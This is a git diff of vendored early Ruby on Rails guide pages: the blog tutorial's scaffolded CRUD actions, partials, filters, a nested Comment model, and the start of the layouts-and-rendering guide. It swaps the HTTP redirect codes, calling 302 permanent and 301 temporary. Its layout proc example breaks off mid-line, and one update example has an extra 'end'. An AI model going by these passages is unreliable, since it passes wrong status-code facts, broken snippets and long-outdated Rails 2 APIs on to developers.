The form_for block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, f.text_field :name tells Rails to create a text input on the form, and to hook it up to the name attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case name, title, and content). Rails uses form_for in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.

+
+ + + +
+Tip +If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the form_tag method, which provides shortcuts for building forms that are not necessarily tied to a model instance.
+
+

When the user clicks the Create button on this form, the browser will send information back to the create method of the controller (Rails knows to call the create method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):

+
+
+
def create
+  @post = Post.new(params[:post])
+
+  respond_to do |format|
+    if @post.save
+      flash[:notice] = 'Post was successfully created.'
+      format.html { redirect_to(@post) }
+      format.xml  { render :xml => @post, :status => :created, :location => @post }
+    else
+      format.html { render :action => "new" }
+      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
+    end
+  end
+end
+
+

The create action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the params hash. After saving the new post, it uses flash[:notice] to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the create action just shows the new view a second time, with any error messages.

+

Rails provides the flash hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of create, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the show action, they are presented with a message saying "Post was successfully created."

+

6.10. Showing an Individual Post

+

When you click the show link for a post on the index page, it will bring you to a URL like http://localhost:3000/posts/1. Rails interprets this as a call to the show action for the resource, and passes in 1 as the :id parameter. Here's the show action:

+
+
+
def show
+  @post = Post.find(params[:id])
+
+  respond_to do |format|
+    format.html # show.html.erb
+    format.xml  { render :xml => @post }
+  end
+end
+
+

The show action uses Post.find to search for a single record in the database by its id value. After finding the record, Rails displays it by using show.html.erb:

+
+
+
<p>
+  <b>Name:</b>
+  <%=h @post.name %>
+</p>
+
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+
+<p>
+  <b>Content:</b>
+  <%=h @post.content %>
+</p>
+
+
+<%= link_to 'Edit', edit_post_path(@post) %> |
+<%= link_to 'Back', posts_path %>
+
+

6.11. Editing Posts

+

Like creating a new post, editing a post is a two-part process. The first step is a request to edit_post_path(@post) with a particular post. This calls the edit action in the controller:

+
+
+
def edit
+  @post = Post.find(params[:id])
+end
+
+

After finding the requested post, Rails uses the edit.html.erb view to display it:

+
+
+
<h1>Editing post</h1>
+
+<% form_for(@post) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :name %><br />
+    <%= f.text_field :name %>
+  </p>
+  <p>
+    <%= f.label :title %><br />
+    <%= f.text_field :title %>
+  </p>
+  <p>
+    <%= f.label :content %><br />
+    <%= f.text_area :content %>
+  </p>
+  <p>
+    <%= f.submit "Update" %>
+  </p>
+<% end %>
+
+<%= link_to 'Show', @post %> |
+<%= link_to 'Back', posts_path %>
+
+

Submitting the form created by this view will invoke the update action within the controller:

+
+
+
def update
+  @post = Post.find(params[:id])
+
+  respond_to do |format|
+    if @post.update_attributes(params[:post])
+      flash[:notice] = 'Post was successfully updated.'
+      format.html { redirect_to(@post) }
+      format.xml  { head :ok }
+    else
+      format.html { render :action => "edit" }
+      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
+    end
+  end
+end
+
+

In the update action, Rails first uses the :id parameter passed back from the edit view to locate the database record that's being edited. The update_attributes call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's show view. If there are any problems, it's back to edit to correct them.

+
+ + + +
+Note +Sharp-eyed readers will have noticed that the form_for declaration is identical for the new and edit views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a partial template, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for create and edit.
+
+

6.12. Destroying a Post

+

Finally, clicking one of the destroy links sends the associated id to the destroy action:

+
+
+
def destroy
+  @post = Post.find(params[:id])
+  @post.destroy
+
+  respond_to do |format|
+    format.html { redirect_to(posts_url) }
+    format.xml  { head :ok }
+  end
+end
+
+

The destroy method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.

+
+

7. DRYing up the Code

+
+

At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use partials to clean up duplication in views and filters to help with duplication in controllers.

+

7.1. Using Partials to Eliminate View Duplication

+

As you saw earlier, the scaffold-generated views for the new and edit actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template:

+

new.html.erb:

+
+
+
<h1>New post</h1>
+
+<%= render :partial => "form" %>
+
+<%= link_to 'Back', posts_path %>
+
+

edit.html.erb:

+
+
+
<h1>Editing post</h1>
+
+<%= render :partial => "form" %>
+
+<%= link_to 'Show', @post %> |
+<%= link_to 'Back', posts_path %>
+
+

_form.html.erb:

+
+
+
<% form_for(@post) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :name %><br />
+    <%= f.text_field :name %>
+  </p>
+  <p>
+    <%= f.label :title, "title" %><br />
+    <%= f.text_field :title %>
+  </p>
+  <p>
+    <%= f.label :content %><br />
+    <%= f.text_area :content %>
+  </p>
+  <p>
+    <%= f.submit "Save" %>
+  </p>
+<% end %>
+
+

Now, when Rails renders the new or edit view, it will insert the _form partial at the indicated point. Note the naming convention for partials: if you refer to a partial named form inside of a view, the corresponding file is _form.html.erb, with a leading underscore.

+

For more information on partials, refer to the Layouts and Rending in Rails guide.

+

7.2. Using Filters to Eliminate Controller Duplication

+

At this point, if you look at the controller for posts, you’ll see some duplication:

+
+
+
class PostsController < ApplicationController
+  # ...
+  def show
+    @post = Post.find(params[:id])
+        # ...
+  end
+
+  def edit
+    @post = Post.find(params[:id])
+  end
+
+  def update
+    @post = Post.find(params[:id])
+    # ...
+  end
+
+  def destroy
+    @post = Post.find(params[:id])
+    # ...
+  end
+end
+
+

Four instances of the exact same line of code doesn’t seem very DRY. Rails provides filters as a way to address this sort of repeated code. In this case, you can DRY things up by using a before_filter:

+
+
+
class PostsController < ApplicationController
+  before_filter :find_post, :only => [:show, :edit, :update, :destroy]
+  # ...
+  def show
+        # ...
+  end
+
+  def edit
+  end
+
+  def update
+    # ...
+  end
+
+  def destroy
+    # ...
+  end
+
+  private
+    def find_post
+      @post = Post.find(params[:id])
+    end
+end
+
+

Rails runs before filters before any action in the controller. You can use the :only clause to limit a before filter to only certain actions, or an :except clause to specifically skip a before filter for certain actions. Rails also allows you to define after filters that run after processing an action, as well as around filters that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.

+

For more information on filters, see the Action Controller Basics guide.

+
+

8. Adding a Second Model

+
+

Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.

+

8.1. Generating a Model

+

Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:

+
+
+
$ script/generate model Comment commenter:string body:text post:references
+
+

This command will generate four files:

+
    +
  • +

    +app/models/comment.rb - The model +

    +
  • +
  • +

    ++db/migrate/20081013214407_create_comments.rb - The migration +

    +
  • +
  • +

    +test/unit/comment_test.rb and test/fixtures/comments.yml - The test harness. +

    +
  • +
+

First, take a look at comment.rb:

+
+
+
class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+
+

This is very similar to the post.rb model that you saw earlier. The difference is the line belongs_to :post, which sets up an Active Record association. You'll learn a little about associations in the next section of this guide.

+

In addition to the model, Rails has also made a migration to create the corresponding database table:

+
+
+
class CreateComments < ActiveRecord::Migration
+  def self.up
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+      t.references :post
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :comments
+  end
+end
+
+

The t.references line sets up a foreign key column for the association between the two models. Go ahead and run the migration:

+
+
+
$ rake db:migrate
+
+

Rails is smart enough to only execute the migrations that have not already been run against this particular database.

+

8.2. Associating Models

+

Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:

+
    +
  • +

    +Each comment belongs to one post +

    +
  • +
  • +

    +One post can have many comments +

    +
  • +
+

In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:

+
+
+
class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+
+

You'll need to edit the post.rb file to add the other side of the association:

+
+
+
class Post < ActiveRecord::Base
+  validates_presence_of :name, :title
+  validates_length_of :title, :minimum => 5
+  has_many :comments
+end
+
+

These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable @post containing a post, you can retrieve all the comments belonging to that post as the array @post.comments.

+
+ + + +
+Tip +For more information on Active Record associations, see the Active Record Associations guide.
+
+

8.3. Adding a Route

+

Routes are entries in the config/routes.rb file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to posts. Then edit it as follows:

+
+
+
map.resources :posts do |post|
+  post.resources :comments
+end
+
+

This creates comments as a nested resource within posts. This is another part of capturing the hierarchical relationship that exists between posts and comments.

+
+ + + +
+Tip +For more information on routing, see the Rails Routing from the Outside In guide.
+
+

8.4. Generating a Controller

+

With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:

+
+
+
$ script/generate controller Comments index show new edit
+
+

This creates seven files:

+
    +
  • +

    +app/controllers/comments_controller.rb - The controller +

    +
  • +
  • +

    +app/helpers/comments_helper.rb - A view helper file +

    +
  • +
  • +

    +app/views/comments/index.html.erb - The view for the index action +

    +
  • +
  • +

    +app/views/comments/show.html.erb - The view for the show action +

    +
  • +
  • +

    +app/views/comments/new.html.erb - The view for the new action +

    +
  • +
  • +

    +app/views/comments/edit.html.erb - The view for the edit action +

    +
  • +
  • +

    +test/functional/comments_controller_test.rb - The functional tests for the controller +

    +
  • +
+

The controller will be generated with empty methods for each action that you specified in the call to script/generate controller:

+
+
+
class CommentsController < ApplicationController
+  def index
+  end
+
+  def show
+  end
+
+  def new
+  end
+
+  def edit
+  end
+
+end
+
+

You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:

+
+
+
class CommentsController < ApplicationController
+  def index
+    @post = Post.find(params[:post_id])
+    @comments = @post.comments
+  end
+
+  def show
+    @post = Post.find(params[:post_id])
+    @comment = Comment.find(params[:id])
+  end
+
+  def new
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.build
+  end
+
+  def create
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.build(params[:comment])
+    if @comment.save
+      redirect_to post_comment_path(@post, @comment)
+    else
+      render :action => "new"
+    end
+  end
+
+  def edit
+    @post = Post.find(params[:post_id])
+    @comment = Comment.find(params[:id])
+  end
+
+  def update
+    @post = Post.find(params[:post_id])
+    @comment = Comment.find(params[:id])
+    if @comment.update_attributes(params[:comment])
+      redirect_to post_comment_path(@post, @comment)
+    else
+      render :action => "edit"
+    end
+  end
+
+end
+
+

You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.

+

In addition, the code takes advantage of some of the methods available for an association. For example, in the new method, it calls

+
+
+
@comment = @post.comments.build
+
+

This creates a new Comment object and sets up the post_id field to have the id from the specified Post object in a single operation.

+

8.5. Building Views

+

Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking script/generate controller will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.

+

The index.html.erb view:

+
+
+
<h1>Comments for <%= @post.title %></h1>
+
+<table>
+  <tr>
+    <th>Commenter</th>
+    <th>Body</th>
+  </tr>
+
+<% for comment in @comments %>
+  <tr>
+    <td><%=h comment.commenter %></td>
+    <td><%=h comment.body %></td>
+    <td><%= link_to 'Show', post_comment_path(@post, comment) %></td>
+    <td><%= link_to 'Edit', edit_post_comment_path(@post, comment) %></td>
+    <td><%= link_to 'Destroy', post_comment_path(@post, comment), :confirm => 'Are you sure?', :method => :delete %></td>
+  </tr>
+<% end %>
+</table>
+
+<br />
+
+<%= link_to 'New comment', new_post_comment_path(@post) %>
+<%= link_to 'Back to Post', @post %>
+
+

The new.html.erb view:

+
+
+
<h1>New comment</h1>
+
+<% form_for([@post, @comment]) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit "Create" %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', post_comments_path(@post) %>
+
+

The show.html.erb view:

+
+
+
<h1>Comment on <%= @post.title %></h1>
+
+<p>
+  <b>Commenter:</b>
+  <%=h @comment.commenter %>
+</p>
+
+<p>
+  <b>Comment:</b>
+  <%=h @comment.body %>
+</p>
+
+<%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> |
+<%= link_to 'Back', post_comments_path(@post) %>
+
+

The edit.html.erb view:

+
+
+
<h1>Editing comment</h1>
+
+<% form_for([@post, @comment]) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit "Update" %>
+  </p>
+<% end %>
+
+<%= link_to 'Show', post_comment_path(@post, @comment) %> |
+<%= link_to 'Back', post_comments_path(@post) %>
+
+

Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.

+

8.6. Hooking Comments to Posts

+

As a final step, I'll modify the show.html.erb view for a post to show the comments on that post, and to allow managing those comments:

+
+
+
<p>
+  <b>Name:</b>
+  <%=h @post.name %>
+</p>
+
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+
+<p>
+  <b>Content:</b>
+  <%=h @post.content %>
+</p>
+
+<h2>Comments</h2>
+<% @post.comments.each do |c| %>
+        <p>
+          <b>Commenter:</b>
+          <%=h c.commenter %>
+        </p>
+
+        <p>
+          <b>Comment:</b>
+          <%=h c.body %>
+        </p>
+<% end %>
+
+<%= link_to 'Edit', edit_post_path(@post) %> |
+<%= link_to 'Back', posts_path %>
+<%= link_to 'Manage Comments', post_comments_path(@post) %>
+
+

Note that each post has its own individual comments collection, accessible as @post.comments. That's a consequence of the declarative associations in the models. Path helpers such as post_comments_path come from the nested route declaration in config/routes.rb.

+
+

9. What's Next?

+
+

Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:

+
+

Rails also comes with built-in help that you can generate using the rake command-line utility:

+
    +
  • +

    +Running rake doc:guides will put a full copy of the Rails Guides in the /doc/guides folder of your application. Open /doc/guides/index.html in your web browser to explore the Guides. +

    +
  • +
  • +

    +Running rake doc:rails will put a full copy of the API documentation for Rails in the /doc/api folder of your application. Open /doc/api/index.html in your web browser to explore the API documentation. +

    +
  • +
+
+

10. Changelog

+
+ +
    +
  • +

    +November 3, 2008: Formatting patch from Dave Rothlisberger +

    +
  • +
  • +

    +November 1, 2008: First approved version by Mike Gunderloy +

    +
  • +
  • +

    +October 16, 2008: Revised based on feedback from Pratik Naik by Mike Gunderloy (not yet approved for publication) +

    +
  • +
  • +

    +October 13, 2008: First complete draft by Mike Gunderloy (not yet approved for publication) +

    +
  • +
  • +

    +October 12, 2008: More detail, rearrangement, editing by Mike Gunderloy (not yet approved for publication) +

    +
  • +
  • +

    +September 8, 2008: initial version by James Miller (not yet approved for publication) +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/index.html b/vendor/rails/railties/doc/guides/html/index.html new file mode 100644 index 00000000..523ca539 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/index.html @@ -0,0 +1,349 @@ + + + + + Ruby on Rails guides + + + + + + + + + +
+ +
+

Ruby on Rails guides

+
+
+
+ + + +
+Warning +This page is the result of ongoing Rails Guides hackfest and a work in progress.
+
+
+ + + +
+Caution +Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.
+
+

Start Here

+
+
+

Models

+
+
+
+
+
+
+

Views

+
+
+
+
+

Controllers

+
+
+
+
+
+
+

Digging Deeper

+
+
+
+
+
+
+
+
+
+
+

Authors who have contributed to complete guides are listed here.

+ +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html b/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html new file mode 100644 index 00000000..06429658 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html @@ -0,0 +1,1406 @@ + + + + + Layouts and Rendering in Rails + + + + + + + + + +
+ + + +
+

Layouts and Rendering in Rails

+
+
+

This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:

+
    +
  • +

    +Use the various rendering methods built in to Rails +

    +
  • +
  • +

    +Create layouts with multiple content sections +

    +
  • +
  • +

    +Use partials to DRY up your views +

    +
  • +
+
+
+

1. Overview: How the Pieces Fit Together

+
+

This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.

+

In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.

+
+

2. Creating Responses

+
+

From the controller's point of view, there are three ways to create an HTTP response:

+
    +
  • +

    +Call render to create a full response to send back to the browser +

    +
  • +
  • +

    +Call redirect_to to send an HTTP redirect status code to the browser +

    +
  • +
  • +

    +Call head to create a response consisting solely of HTTP headers to send back to the browser +

    +
  • +
+

I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.

+

2.1. Rendering by Default: Convention Over Configuration in Action

+

You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your BooksController class:

+
+
+
def show
+  @book = Book.find(params[:id])
+end
+
+

Rails will automatically render app/views/books/show.html.erb after running the method. In fact, if you have the default catch-all route in place (map.connect :controller/:action/:id), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for /books/sale_list, Rails will render app/views/books/sale_list.html.erb in response.

+
+ + + +
+Note +The actual rendering is done by subclasses of ActionView::TemplateHandlers. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are .erb for ERB (HTML with embedded Ruby), .rjs for RJS (javascript with embedded ruby) and .builder for Builder (XML generator). You'll also find .rhtml used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
+
+

2.2. Using render

+

In most cases, the ActionController::Base#render method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of render. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.

+
+ + + +
+Tip +If you want to see the exact results of a call to render without needing to inspect it in a browser, you can call render_to_string. This method takes exactly the same options as render, but it returns a string instead of sending a response back to the browser.
+
+

2.2.1. Rendering Nothing

+

Perhaps the simplest thing you can do with render is to render nothing at all:

+
+
+
render :nothing => true
+
+

This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).

+
+ + + +
+Tip +You should probably be using the head method, discussed later in this guide, instead of render :nothing. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
+
+

2.2.2. Using render with :action

+

If you want to render the view that corresponds to a different action within the same template, you can use render with the :action option:

+
+
+
def update
+  @book = Book.find(params[:id])
+    if @book.update_attributes(params[:book])
+      redirect_to(@book)
+    else
+      render :action => "edit"
+    end
+  end
+end
+
+

If the call to update_attributes_ fails, calling the +update action in this controller will render the edit.html.erb template belonging to the same controller.

+
+ + + +
+Warning +Using render with :action is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does not run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling render.
+
+

2.2.3. Using render with :template

+

What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the :template option to render, which accepts the full path (relative to app/views) of the template to render. For example, if you're running code in an AdminProductsController that lives in app/controllers/admin, you can render the results of an action to a template in app/views/products this way:

+
+
+
render :template => 'products/show'
+
+

2.2.4. Using render with :file

+

If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the :file option to render:

+
+
+
render :file => "/u/apps/warehouse_app/current/app/views/products/show"
+
+

The :file option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.

+
+ + + +
+Note +By default, if you use the :file option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the :layout ⇒ true option
+
+

2.2.5. Using render with :inline

+

The render method can do without a view completely, if you're willing to use the :inline option to supply ERB as part of the method call. This is perfectly valid:

+
+
+
render :inline => "<% products.each do |p| %><p><%= p.name %><p><% end %>"
+
+
+ + + +
+Warning +There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
+
+

By default, inline rendering uses ERb. You can force it to use Builder instead with the :type option:

+
+
+
render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder
+
+

2.2.6. Using render with :update

+

You can also render javascript-based page updates inline using the :update option to render:

+
+
+
render :update do |page|
+  page.replace_html 'warning', "Invalid options supplied"
+end
+
+
+ + + +
+Warning +Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.
+
+

2.2.7. Rendering Text

+

You can send plain text - with no markup at all - back to the browser by using the :text option to render:

+
+
+
render :text => "OK"
+
+
+ + + +
+Tip +Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
+
+
+ + + +
+Note +By default, if you use the :text option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the :layout ⇒ true option
+
+

2.2.8. Rendering JSON

+

JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:

+
+
+
render :json => @product
+
+
+ + + +
+Tip +You don't need to call to_json on the object that you want to render. If you use the :json option, render will automatically call to_json for you.
+
+

2.2.9. Rendering XML

+

Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:

+
+
+
render :xml => @product
+
+
+ + + +
+Tip +You don't need to call to_xml on the object that you want to render. If you use the :xml option, render will automatically call to_xml for you.
+
+

2.2.10. Rendering Vanilla JavaScript

+

Rails can render vanilla JavaScript (as an alternative to using update with n .rjs file):

+
+
+
render :js => "alert('Hello Rails');"
+
+

This will send the supplied string to the browser with a MIME type of text/javascript.

+

2.2.11. Options for render

+

Calls to the render method generally accept four options:

+
    +
  • +

    +:content_type +

    +
  • +
  • +

    +:layout +

    +
  • +
  • +

    +:status +

    +
  • +
  • +

    +:location +

    +
  • +
+
The :content_type Option
+

By default, Rails will serve the results of a rendering operation with the MIME content-type of text/html (or application/json if you use the :json option, or application/xml for the :xml option.). There are times when you might like to change this, and you can do so by setting the :content_type option:

+
+
+
render :file => filename, :content_type => 'application/rss'
+
+
The :layout Option
+

With most of the options to render, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.

+

You can use the :layout option to tell Rails to use a specific file as the layout for the current action:

+
+
+
render :layout => 'special_layout'
+
+

You can also tell Rails to render with no layout at all:

+
+
+
render :layout => false
+
+
The :status Option
+

Rails will automatically generate a response with the correct HTML status code (in most cases, this is 200 OK). You can use the :status option to change this:

+
+
+
render :status => 500
+render :status => :forbidden
+
+

Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in actionpack/lib/action_controller/status_codes.rb. You can also see there how it maps symbols to status codes in that file.

+
The :location Option
+

You can use the :location option to set the HTTP Location header:

+
+
+
render :xml => photo, :location => photo_url(photo)
+
+

2.2.12. Finding Layouts

+

To find the current layout, Rails first looks for a file in app/views/layouts with the same base name as the controller. For example, rendering actions from the PhotosController class will use /app/views/layouts/photos.html.erb. If there is no such controller-specific layout, Rails will use /app/views/layouts/application.html.erb. If there is no .erb layout, Rails will use a .builder layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.

+
Specifying Layouts on a per-Controller Basis
+

You can override the automatic layout conventions in your controllers by using the layout declaration in the controller. For example:

+
+
+
class ProductsController < ApplicationController
+  layout "inventory"
+  #...
+end
+
+

With this declaration, all methods within ProductsController will use app/views/layouts/inventory.html.erb for their layout.

+

To assign a specific layout for the entire application, use a declaration in your ApplicationController class:

+
+
+
class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+
+

With this declaration, all views in the entire application will use app/views/layouts/main.html.erb for their layout.

+
Choosing Layouts at Runtime
+

You can use a symbol to defer the choice of layout until a request is processed:

+
+
+
class ProductsController < ApplicationController
+  layout :products_layout
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? "special" : "products"
+    end
+
+end
+
+

Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:

+
+
+
class ProductsController < ApplicationController
+  layout proc{ |controller| controller.
+  # ...
+end
+
+
Conditional Layouts
+

Layouts specified at the controller level support :only and :except options that take either a method name or an array of method names:

+
+
+
class ProductsController < ApplicationController
+  layout "inventory", :only => :index
+  layout "product", :except => [:index, :rss]
+  #...
+end
+
+

With those declarations, the inventory layout would be used only for the index method, the product layout would be used for everything else except the rss method, and the rss method will have its layout determined by the automatic layout rules.

+
Layout Inheritance
+

Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:

+

application.rb:

+
+
+
class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+
+

posts_controller.rb:

+
+
+
class PostsController < ApplicationController
+  # ...
+end
+
+

special_posts_controller.rb:

+
+
+
class SpecialPostsController < PostsController
+  layout "special"
+  # ...
+end
+
+

old_posts_controller.rb:

+
+
+
class OldPostsController < SpecialPostsController
+  layout nil
+
+  def show
+    @post = Post.find(params[:id])
+  end
+
+  def index
+    @old_posts = Post.older
+    render :layout => "old"
+  end
+  # ...
+end
+
+

In this application:

+
    +
  • +

    +In general, views will be rendered in the main layout +

    +
  • +
  • +

    +PostsController#index will use the main layout +

    +
  • +
  • +

    +SpecialPostsController#index will use the special layout +

    +
  • +
  • +

    +OldPostsController#show will use no layout at all +

    +
  • +
  • +

    +OldPostsController#index will use the old layout +

    +
  • +
+

2.2.13. Avoiding Double Render Errors

+

Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that render works.

+

For example, here's some code that will trigger this error:

+
+
+
def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action => "special_show"
+  end
+end
+
+

If @book.special? evaluates to true, Rails will start the rendering process to dump the @book variable into the special_show view. But this will not stop the rest of the code in the show action from running, and when Rails hits the end of the action, it will start to render the show view - and throw an error. The solution is simple: make sure that you only have one call to render or redirect in a single code path. One thing that can help is and return. Here's a patched version of the method:

+
+
+
def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action => "special_show" and return
+  end
+end
+
+

2.3. Using redirect_to

+

Another way to handle returning responses to a HTTP request is with redirect_to. As you've seen, render tells Rails which view (or other asset) to use in constructing a response. The redirect_to method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:

+
+
+
redirect_to photos_path
+
+

You can use redirect_to with any arguments that you could use with link_to or url_for. In addition, there's a special redirect that sends the user back to the page they just came from:

+
+
+
redirect_to :back
+
+

2.3.1. Getting a Different Redirect Status Code

+

Rails uses HTTP status code 302 (permanent redirect) when you call redirect_to. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the :status option:

+
+
+
redirect_to photos_path, :status => 301
+
+

Just like the :status option for render, :status for redirect_to accepts both numeric and symbolic header designations.

+

2.3.2. The Difference Between render and redirect

+

Sometimes inexperienced developers conceive of redirect_to as a sort of goto command, moving execution from one place to another in your Rails code. This is not correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.

+

Consider these actions to see the difference:

+
+
+
def index
+  @books = Book.find(:all)
+end
+
+def show
+  @book = Book.find(params[:id])
+  if @book.nil?
+    render :action => "index" and return
+  end
+end
+
+

With the code in this form, there will be likely be a problem if the @book variable is nil. Remember, a render :action doesn't run any code in the target action, so nothing will set up the @books variable that the index view is presumably depending on. One way to fix this is to redirect instead of rendering:

+
+
+
def index
+  @books = Book.find(:all)
+end
+
+def show
+  @book = Book.find(params[:id])
+  if @book.nil?
+    redirect_to :action => "index" and return
+  end
+end
+
+

With this code, the browser will make a fresh request for the index page, the code in the index method will run, and all will be well.

+

2.4. Using head To Build Header-Only Responses

+

The head method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling render :nothing. The head method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:

+
+
+
head :bad_request
+
+

Or you can use other HTTP headers to convey additional information:

+
+
+
head :created, :location => photo_path(@photo)
+
+
+

3. Structuring Layouts

+
+

